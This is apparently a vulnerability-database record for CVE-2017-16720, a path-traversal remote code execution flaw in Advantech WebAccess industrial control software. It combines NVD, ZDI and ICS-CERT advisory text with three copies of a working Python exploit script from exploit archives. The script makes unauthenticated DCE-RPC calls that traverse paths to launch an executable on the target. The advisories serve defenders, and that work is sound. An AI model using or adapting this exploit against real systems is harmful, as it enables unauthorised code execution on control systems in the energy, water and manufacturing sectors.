{"cve": [{"lastseen": "2021-02-02T06:36:39", "description": "A Path Traversal issue was discovered in WebAccess versions 8.3.2 and earlier. An attacker has access to files within the directory structure of the target device.", "edition": 7, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-01-05T08:29:00", "title": "CVE-2017-16720", "type": "cve", "cwe": ["CWE-22"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-16720"], "modified": "2019-10-09T23:25:00", "cpe": ["cpe:/a:advantech:webaccess:8.3.2"], "id": "CVE-2017-16720", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16720", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:advantech:webaccess:8.3.2:*:*:*:*:*:*:*"]}], "zdi": [{"lastseen": "2020-06-22T11:42:05", "bulletinFamily": "info", "cvelist": ["CVE-2017-16720"], "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this functionality to execute code under the context of Administrator.", "edition": 2, "modified": "2018-06-22T00:00:00", "published": "2018-09-13T00:00:00", "id": "ZDI-18-024", "href": "https://www.zerodayinitiative.com/advisories/ZDI-18-024/", "type": "zdi", "title": "Advantech WebAccess webvrpcs Command Injection Remote Code Execution Vulnerability", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-22T11:42:03", "bulletinFamily": "info", "cvelist": ["CVE-2017-16720"], "description": "This vulnerability allows remote attackers to delete arbitrary files on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability. The specific flaw exists within the DelIcon method in gmicons.asp. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to delete files accessible to the web service.", "edition": 2, "modified": "2018-06-22T00:00:00", "published": "2018-01-05T00:00:00", "id": "ZDI-18-056", "href": "https://www.zerodayinitiative.com/advisories/ZDI-18-056/", "type": "zdi", "title": "Advantech WebAccess DelIcon Directory Traversal File Deletion Vulnerability", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2018-03-14T23:18:59", "description": "Exploit for windows platform in category web applications", "edition": 1, "published": "2018-03-12T00:00:00", "title": "Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-16720"], "modified": "2018-03-12T00:00:00", "href": "https://0day.today/exploit/description/29984", "id": "1337DAY-ID-29984", "sourceData": "#!/usr/bin/python2.7\r\n \r\n# Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability\r\n# Date: 03-11-2018\r\n# Exploit Author: Chris Lyne (@lynerc)\r\n# Vendor Homepage: www.advantech.com\r\n# Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe\r\n# Version: Advantech WebAccess 8.2-2017.08.18\r\n# Tested on: Windows Server 2008 R2 Enterprise 64-bit\r\n# CVE : CVE-2017-16720\r\n# See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/\r\n \r\nimport sys, struct\r\nfrom impacket import uuid\r\nfrom impacket.dcerpc.v5 import transport\r\n \r\ndef call(dce, opcode, stubdata):\r\n dce.call(opcode, stubdata)\r\n res = -1\r\n try:\r\n res = dce.recv()\r\n except Exception, e:\r\n print \"Exception encountered...\" + str(e)\r\n sys.exit(1)\r\n return res\r\n \r\nif len(sys.argv) != 2:\r\n print \"Provide only host arg\"\r\n sys.exit(1)\r\n \r\nport = 4592\r\ninterface = \"5d2b62aa-ee0a-4a95-91ae-b064fdb471fc\"\r\nversion = \"1.0\"\r\n \r\nhost = sys.argv[1]\r\n \r\nstring_binding = \"ncacn_ip_tcp:%s\" % host\r\ntrans = transport.DCERPCTransportFactory(string_binding)\r\ntrans.set_dport(port)\r\n \r\ndce = trans.get_dce_rpc()\r\ndce.connect()\r\n \r\nprint \"Binding...\"\r\niid = uuid.uuidtup_to_bin((interface, version))\r\ndce.bind(iid)\r\n \r\nprint \"...1\"\r\nstubdata = struct.pack(\"<III\", 0x00, 0xc351, 0x04)\r\ncall(dce, 2, stubdata)\r\n \r\nprint \"...2\"\r\nstubdata = struct.pack(\"<I\", 0x02)\r\nres = call(dce, 4, stubdata)\r\nif res == -1:\r\n print \"Something went wrong\"\r\n sys.exit(1)\r\nres = struct.unpack(\"III\", res)\r\n \r\nif (len(res) < 3):\r\n print \"Received unexpected length value\"\r\n sys.exit(1)\r\n \r\nprint \"...3\"\r\n# ioctl 0x2711\r\nstubdata = struct.pack(\"<IIII\", res[2], 0x2711, 0x204, 0x204)\r\ncommand = \"..\\\\..\\\\windows\\\\system32\\\\calc.exe\"\r\nfmt = \"<\" + str(0x204) + \"s\"\r\nstubdata += struct.pack(fmt, command)\r\ncall(dce, 1, stubdata)\r\n \r\nprint \"\\nDid it work?\"\r\n \r\ndce.disconnect()\n\n# 0day.today [2018-03-14] #", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "sourceHref": "https://0day.today/exploit/29984"}], "exploitdb": [{"lastseen": "2018-05-24T14:07:26", "description": "Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution. CVE-2017-16720. Webapps exploit for Windows platform", "published": "2018-03-12T00:00:00", "type": "exploitdb", "title": "Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-16720"], "modified": "2018-03-12T00:00:00", "id": "EDB-ID:44278", "href": "https://www.exploit-db.com/exploits/44278/", "sourceData": "#!/usr/bin/python2.7\r\n \r\n# Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability\r\n# Date: 03-11-2018\r\n# Exploit Author: Chris Lyne (@lynerc)\r\n# Vendor Homepage: www.advantech.com\r\n# Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe\r\n# Version: Advantech WebAccess 8.2-2017.08.18\r\n# Tested on: Windows Server 2008 R2 Enterprise 64-bit\r\n# CVE : CVE-2017-16720\r\n# See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/\r\n\r\nimport sys, struct\r\nfrom impacket import uuid\r\nfrom impacket.dcerpc.v5 import transport\r\n\r\ndef call(dce, opcode, stubdata):\r\n dce.call(opcode, stubdata)\r\n res = -1\r\n try:\r\n res = dce.recv()\r\n except Exception, e:\r\n print \"Exception encountered...\" + str(e)\r\n sys.exit(1)\r\n return res\r\n\r\nif len(sys.argv) != 2:\r\n print \"Provide only host arg\"\r\n sys.exit(1)\r\n\r\nport = 4592\r\ninterface = \"5d2b62aa-ee0a-4a95-91ae-b064fdb471fc\"\r\nversion = \"1.0\" \r\n\r\nhost = sys.argv[1]\r\n\r\nstring_binding = \"ncacn_ip_tcp:%s\" % host\r\ntrans = transport.DCERPCTransportFactory(string_binding)\r\ntrans.set_dport(port)\r\n\r\ndce = trans.get_dce_rpc()\r\ndce.connect()\r\n\r\nprint \"Binding...\"\r\niid = uuid.uuidtup_to_bin((interface, version))\r\ndce.bind(iid)\r\n\r\nprint \"...1\"\r\nstubdata = struct.pack(\"<III\", 0x00, 0xc351, 0x04)\r\ncall(dce, 2, stubdata)\r\n\r\nprint \"...2\"\r\nstubdata = struct.pack(\"<I\", 0x02)\r\nres = call(dce, 4, stubdata)\r\nif res == -1:\r\n print \"Something went wrong\"\r\n sys.exit(1)\r\nres = struct.unpack(\"III\", res)\r\n\r\nif (len(res) < 3):\r\n print \"Received unexpected length value\"\r\n sys.exit(1)\r\n\r\nprint \"...3\"\r\n# ioctl 0x2711\r\nstubdata = struct.pack(\"<IIII\", res[2], 0x2711, 0x204, 0x204)\r\ncommand = \"..\\\\..\\\\windows\\\\system32\\\\calc.exe\"\r\nfmt = \"<\" + str(0x204) + \"s\"\r\nstubdata += struct.pack(fmt, command)\r\ncall(dce, 1, stubdata)\r\n\r\nprint \"\\nDid it work?\"\r\n\r\ndce.disconnect()", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "sourceHref": "https://www.exploit-db.com/download/44278/"}], "exploitpack": [{"lastseen": "2020-04-01T19:04:02", "description": "\nAdvantech WebAccess 8.3 - Directory Traversal Remote Code Execution", "edition": 1, "published": "2018-03-12T00:00:00", "title": "Advantech WebAccess 8.3 - Directory Traversal Remote Code Execution", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-16720"], "modified": "2018-03-12T00:00:00", "id": "EXPLOITPACK:C2EDB37BB21AFFCCEF13C82AD2F96C7C", "href": "", "sourceData": "#!/usr/bin/python2.7\n \n# Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability\n# Date: 03-11-2018\n# Exploit Author: Chris Lyne (@lynerc)\n# Vendor Homepage: www.advantech.com\n# Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe\n# Version: Advantech WebAccess 8.2-2017.08.18\n# Tested on: Windows Server 2008 R2 Enterprise 64-bit\n# CVE : CVE-2017-16720\n# See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/\n\nimport sys, struct\nfrom impacket import uuid\nfrom impacket.dcerpc.v5 import transport\n\ndef call(dce, opcode, stubdata):\n dce.call(opcode, stubdata)\n res = -1\n try:\n res = dce.recv()\n except Exception, e:\n print \"Exception encountered...\" + str(e)\n sys.exit(1)\n return res\n\nif len(sys.argv) != 2:\n print \"Provide only host arg\"\n sys.exit(1)\n\nport = 4592\ninterface = \"5d2b62aa-ee0a-4a95-91ae-b064fdb471fc\"\nversion = \"1.0\" \n\nhost = sys.argv[1]\n\nstring_binding = \"ncacn_ip_tcp:%s\" % host\ntrans = transport.DCERPCTransportFactory(string_binding)\ntrans.set_dport(port)\n\ndce = trans.get_dce_rpc()\ndce.connect()\n\nprint \"Binding...\"\niid = uuid.uuidtup_to_bin((interface, version))\ndce.bind(iid)\n\nprint \"...1\"\nstubdata = struct.pack(\"<III\", 0x00, 0xc351, 0x04)\ncall(dce, 2, stubdata)\n\nprint \"...2\"\nstubdata = struct.pack(\"<I\", 0x02)\nres = call(dce, 4, stubdata)\nif res == -1:\n print \"Something went wrong\"\n sys.exit(1)\nres = struct.unpack(\"III\", res)\n\nif (len(res) < 3):\n print \"Received unexpected length value\"\n sys.exit(1)\n\nprint \"...3\"\n# ioctl 0x2711\nstubdata = struct.pack(\"<IIII\", res[2], 0x2711, 0x204, 0x204)\ncommand = \"..\\\\..\\\\windows\\\\system32\\\\calc.exe\"\nfmt = \"<\" + str(0x204) + \"s\"\nstubdata += struct.pack(fmt, command)\ncall(dce, 1, stubdata)\n\nprint \"\\nDid it work?\"\n\ndce.disconnect()", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "ics": [{"lastseen": "2018-01-10T18:52:20", "bulletinFamily": "info", "cvelist": ["CVE-2017-16728", "CVE-2017-16720", "CVE-2017-16724", "CVE-2017-16753", "CVE-2017-16716"], "description": "### **CVSS v3 8.2**\n\n**ATTENTION: **Remotely exploitable/low skill level to exploit.\n\n**Vendor:** Advantech\n\n**Equipment:** WebAccess\n\n**Vulnerabilities:** Untrusted Pointer Dereference, Stack-based Buffer Overflow, Path Traversal, SQL Injection, Improper Input Validation.\n\n## AFFECTED PRODUCTS\n\nAdvantech reports that the vulnerabilities affect the following WebAccess products:\n\n * WebAccess versions prior to 8.3\n\n## IMPACT\n\nSuccessful exploitation of these vulnerabilities could cause the device to crash. An attacker may be able to further exploit this condition to remotely execute arbitrary code or bypass authentication.\n\n## MITIGATION\n\nAdvantech has released WebAccess Version 8.3 to address the reported vulnerabilities. Users can download the latest version of WebAccess at the following location (registration required):\n\n<http://www.advantech.com/industrial-automation/webaccess/download>\n\nNCCIC/ICS-CERT recommends that users take defensive measures to minimize the risk of exploitation of these vulnerabilities. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure that they are not accessible from the Internet.\n * Locate control system networks and remote devices behind firewalls, and isolate them from the business network.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n\nICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nICS-CERT also provides a section for [control systems security recommended practices](<https://ics-cert.us-cert.gov/content/recommended-practices>) on the ICS-CERT web page. Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.](<https://ics-cert.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>)\n\nAdditional mitigation guidance and recommended practices are publicly available in the ICS\u2011CERT Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://ics-cert.us-cert.gov/tips/ICS-TIP-12-146-01B>), that is available for download from the [ICS-CERT web site](<https://ics-cert.us-cert.gov/>).\n\nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.\n\nNo known public exploits specifically target these vulnerabilities.\n\n## VULNERABILITY OVERVIEW\n\n## [UNTRUSTED POINTER DEREFERENCE CWE-822](<https://cwe.mitre.org/data/definitions/822.html>)\n\nThere are multiple vulnerabilities that may allow an attacker to cause the program to use an invalid memory address, resulting in a program crash.\n\n[CVE-2017-16728](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16728>) has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H>)).\n\n## [STACK-BASED BUFFER OVERFLOW CWE-121](<https://cwe.mitre.org/data/definitions/121.html>)\n\nThere are multiple instances of a vulnerability that allows too much data to be written to a location on the stack.\n\n[CVE-2017-16724](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16724>) has been assigned to this vulnerability. A CVSS v3 base score of 8.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H>)).\n\n## [IMPROPER LIMITATION OF A PATHNAME TO A RESTRICTED DIRECTORY ('PATH TRAVERSAL') CWE-22](<https://cwe.mitre.org/data/definitions/22.html>)\n\nAn attacker has access to files within the directory structure of the target device.\n\n[CVE-2017-16720](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16720>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n## [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN AN SQL COMMAND ('SQL INJECTION') CWE-89](<https://cwe.mitre.org/data/definitions/89.html>)\n\nWebAccess does not properly sanitize its inputs for SQL commands.\n\n[CVE-2017-16716](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16716>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n## [IMPROPER INPUT VALIDATION CWE-20](<https://cwe.mitre.org/data/definitions/20.html>)\n\nWebAccess allows some inputs that may cause the program to crash.\n\n[CVE-2017-16753](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16753>) has been assigned to this vulnerability. A CVSS v3 base score of 5.0 has been calculated; the CVSS vector string is ([AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H>)).\n\n## RESEARCHER\n\nSteven Seeley of Offensive Security, Zhou Yu and Andrea Micalizzi working with Trend Micro\u2019s Zero Day Initiative, and Michael Deplante reported these vulnerabilities to ICS-CERT.\n\n## BACKGROUND\n\n**Critical Infrastructure Sectors:** Critical Manufacturing, Energy, Water and Wastewater Systems\n\n**Countries/Areas Deployed:** East Asia, United States, Europe\n\n**Company Headquarters Location:** Taiwan\n", "modified": "2018-01-10T00:00:00", "published": "2018-01-04T00:00:00", "id": "ICSA-18-004-02", "href": "https://ics-cert.us-cert.gov//advisories/ICSA-18-004-02", "type": "ics", "title": "Advantech WebAccess", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-02-27T19:52:00", "bulletinFamily": "info", "cvelist": ["CVE-2017-16716", "CVE-2017-16720", "CVE-2017-16724", "CVE-2017-16728", "CVE-2017-16732", "CVE-2017-16736", "CVE-2017-16753"], "description": "### **CVSS v3 8.2**\n\n**ATTENTION: **Remotely exploitable/low skill level to exploit.\n\n**Vendor:** Advantech\n\n**Equipment:** WebAccess\n\n**Vulnerabilities:** Untrusted Pointer Dereference, Stack-based Buffer Overflow, Path Traversal, SQL Injection, Improper Input Validation.\n\n## UPDATE INFORMATION\n\nThis updated advisory is a follow-up to the original advisory titled ICSA-18-004-02 Advantech WebAccess that was published January 4, 2018, on the NCCIC/ICS-CERT web site.\n\n## AFFECTED PRODUCTS\n\nAdvantech reports the vulnerabilities affect the following WebAccess products:\n\n * WebAccess versions prior to 8.3\n\n## IMPACT\n\nSuccessful exploitation of these vulnerabilities could cause the device to crash. An attacker may be able to further exploit this condition to remotely execute arbitrary code or bypass authentication.\n\n## MITIGATION\n\nAdvantech has released WebAccess Version 8.3 to address the reported vulnerabilities. Users can download the latest version of WebAccess at the following location (registration required):\n\n<http://www.advantech.com/industrial-automation/webaccess/download>\n\nICS-CERT recommends that users take defensive measures to minimize the risk of exploitation of these vulnerabilities. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure that they are not accessible from the Internet.\n * Locate control system networks and remote devices behind firewalls, and isolate them from the business network.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n\nICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nICS-CERT also provides a section for control systems security recommended practices on the ICS-CERT web page. Several recommended practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nAdditional mitigation guidance and recommended practices are publicly available in the ICS\u2011CERT Technical Information Paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies, that is available for download from the ICS-CERT web site.\n\nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.\n\nNo known public exploits specifically target these vulnerabilities.\n\n## VULNERABILITY OVERVIEW\n\n## [UNTRUSTED POINTER DEREFERENCE CWE-822](<https://cwe.mitre.org/data/definitions/822.html>)\n\nThere are multiple vulnerabilities that may allow an attacker to cause the program to use an invalid memory address, resulting in a program crash.\n\n[CVE-2017-16728](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16728>) has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H>)).\n\n## [STACK-BASED BUFFER OVERFLOW CWE-121](<https://cwe.mitre.org/data/definitions/121.html>)\n\nThere are multiple instances of a vulnerability that allows too much data to be written to a location on the stack.\n\n[CVE-2017-16724](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16724>) has been assigned to this vulnerability. A CVSS v3 base score of 8.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H>)).\n\n## [IMPROPER LIMITATION OF A PATHNAME TO A RESTRICTED DIRECTORY ('PATH TRAVERSAL') CWE-22](<https://cwe.mitre.org/data/definitions/22.html>)\n\nAn attacker has access to files within the directory structure of the target device.\n\n[CVE-2017-16720](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16720>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n## [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN AN SQL COMMAND ('SQL INJECTION') CWE-89](<https://cwe.mitre.org/data/definitions/89.html>)\n\nWebAccess does not properly sanitize its inputs for SQL commands.\n\n[CVE-2017-16716](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16716>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n## [IMPROPER INPUT VALIDATION CWE-20](<https://cwe.mitre.org/data/definitions/20.html>)\n\nWebAccess allows some inputs that may cause the program to crash.\n\n[CVE-2017-16753](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16753>) has been assigned to this vulnerability. A CVSS v3 base score of 5.0 has been calculated; the CVSS vector string is ([AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H>)).\n\n**\\--------- Begin Update A Part 1 of 1 --------**\n\n## [UNRESTRICTED UPLOAD OF FILE WITH DANGEROUS TYPE CWE-434](<https://cwe.mitre.org/data/definitions/434.html>)\n\nWebAccess allows a remote attacker to upload arbitrary files.\n\n[CVE-2017-16736](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16736>) has been assigned to this vulnerability. A CVSS v3 base score of 5.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N>)).\n\n## [USE AFTER FREE CWE-416](<https://cwe.mitre.org/data/definitions/416.html>)\n\nWebAccess allows an unauthenticated attacker to specify an arbitrary address.\n\n[CVE-2017-16732](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16732>) has been assigned to this vulnerability. A CVSS v3 base score of 6.5 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L>)).\n\n**\\--------- End Update A Part 1 of 1 ----------**\n\n## RESEARCHER\n\nSteven Seeley of Offensive Security, Zhou Yu, rgod working with Trend Micro\u2019s Zero Day Initiative, and Michael DePlante of Leahy Center for Digital Investigation at Champlain College reported these vulnerabilities to ICS-CERT.\n\n## BACKGROUND\n\n**Critical Infrastructure Sectors:** Critical Manufacturing, Energy, Water and Wastewater Systems\n\n**Countries/Areas Deployed:** East Asia, United States, Europe\n\n**Company Headquarters Location:** Taiwan\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://us-cert.cisa.gov/ics \nor incident reporting: https://us-cert.cisa.gov/report\n\nCISA continuously strives to improve its products and services. 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